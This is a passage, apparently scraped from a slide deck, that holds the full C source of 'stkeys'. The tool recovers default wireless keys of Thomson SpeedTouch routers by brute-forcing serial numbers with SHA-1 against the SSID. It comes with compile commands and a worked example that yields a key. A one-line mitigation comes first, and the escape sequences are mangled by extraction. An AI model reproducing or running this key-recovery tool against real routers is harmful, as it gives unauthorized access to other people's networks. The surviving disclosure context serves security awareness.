  • 9. The only solution _right now_ is to have customers either turn off wireless (if its not being used), or change the default settings. To compile, use: gcc -fomit-frame-pointer -O3 -funroll-all-loops stkeys.c sha1.c -ostkeys Use OpenSSL SHA-1 for this to run faster.. Example usage for ST585v6 router: SSID: "SpeedTouchF8A3D0": c:stkeys -v -iF8A3D0 Serial Number: CP0615**109 - potential key = 742DA831D2 <- this is the right one Serial Number: CP0621**AHJ - potential key = 00651124D9 Found 2 potential keys. */ #include <stdio.h> #include <getopt.h> #include "sha1.h" #define SHA1Init SHA1Reset #define SHA1Update SHA1Input #define SHA1Final SHA1Result #define SHA1_CTX SHA1Context typedef unsigned char u8; typedef unsigned int u32; const u8 charTable[]="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; const u8 hexTable[]="0123456789ABCDEF"; u8 serial[13]={'C','P','0',0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; #define SERIAL_LENGTH 12 #define MAX_SSID_OCTETS 6 #define DEFAULT_KEY_SIZE 5 #define hexmsb(x)(hexTable[((x & 0xf0) >> 4)]) #define hexlsb(x)(hexTable[ (x & 0x0f)]) void usage(char **argv) {
  • 10. fprintf(stdout,"ntUso: %s [ -i <ssid octets> ] [ -o <output file> ]n" "nt -i : Los octetos hexadecimales del SSID del router Thomson" "nt -o : Especificar el fichero de salida para las posibles claves" "nt -v : Imprime en pantalla las posibles claves encontradasnn",*argv); exit(0); } /* * convert hexadecimal ssid string to binary * return 0 on error or binary length of string * */ u32 str2ssid(u8 ssid[],u8 *str) { u8 *p,*q = ssid; u32 len = strlen(str); if( (len % 2) || (len > MAX_SSID_OCTETS) ) return(0); for(p = str;(*p = toupper(*p)) && (strchr(hexTable,*p)) != 0;) { if(--len % 2) { *q = ((u8*)strchr(hexTable,*p++) - hexTable); *q <<= 4; }else { *q++ |= ((u8*)strchr(hexTable,*p++) - hexTable); } } return( (len) ? 0 : (p - str) / 2); } /* * print 5 bytes to output file * */ void dump_key(FILE *out, u8 *key) { u32 i; u8 *p = key; for(i = 0;i < DEFAULT_KEY_SIZE;i++) fprintf(out,"%.2X",*p++); fprintf(out,"n"); }
  • 11. int main(int argc, char **argv) { u8 sha1_digest[40]={0}; u8 ssid[8]={0},buf[8]={0},year,week,x1,x2,x3; u32 keys = 0,ssidLen = 0,verbose = 0, opt = 0; u8 *p,*q,*strId = NULL; FILE *ofile = NULL; SHA1_CTX sha1_ctx; if(argc > 1) { while( (opt = getopt(argc, argv,"vo:i:")) != -1) { switch(opt) { case 'i' : strId = optarg; break; case 'o' : if((ofile = fopen(optarg,"wb")) == NULL) { fprintf(stderr,"nNo puedo abrir %s para la salida.n",optarg); return(0); } break; case 'v' : verbose++; break; default: usage(argv); } } if(!strId) usage(argv); if(!(ssidLen = str2ssid(ssid,strId))) usage(argv); fprintf(stdout,"nGenerando claves... por favor esperann"); // generate values only for 2005/2007..change if you want. for(year = 5;year <= 7;year++) { serial[3] = year | '0';
  • 12. // 52 weeks of the year for(week = 1;week <= 52;week++) { serial[4] = (week / 10) + '0'; serial[5] = (week % 10) + '0'; for(x1 = 0;x1 < 36;x1++) { serial[6] = hexmsb(charTable[x1]); serial[7] = hexlsb(charTable[x1]); for(x2 = 0;x2 < 36;x2++) { serial[8] = hexmsb(charTable[x2]); serial[9] = hexlsb(charTable[x2]); for(x3 = 0;x3 < 36;x3++) { serial[10] = hexmsb(charTable[x3]); serial[11] = hexlsb(charTable[x3]); // hash serial number with sha-1 SHA1Init(&sha1_ctx); SHA1Update(&sha1_ctx,serial,SERIAL_LENGTH); SHA1Final(&sha1_ctx,sha1_digest); // compare SSID octets with last number of bytes supplied if(memcmp(&sha1_digest[(20-ssidLen)],ssid,ssidLen) == 0) { keys++; if(verbose) { memcpy(buf,serial,6); fprintf(stdout, "Número de Serie: %s**%C%C%C - posible clave = ", buf,charTable[x1],charTable[x2],charTable[x3]); dump_key(stdout,sha1_digest); } if(ofile) { dump_key(ofile,sha1_digest); } }
  • 13. } } } } } fprintf(stdout,"nResultado: %d posibles claves.nn",keys); if(ofile) fclose(ofile); } else { usage(argv); } return(0); }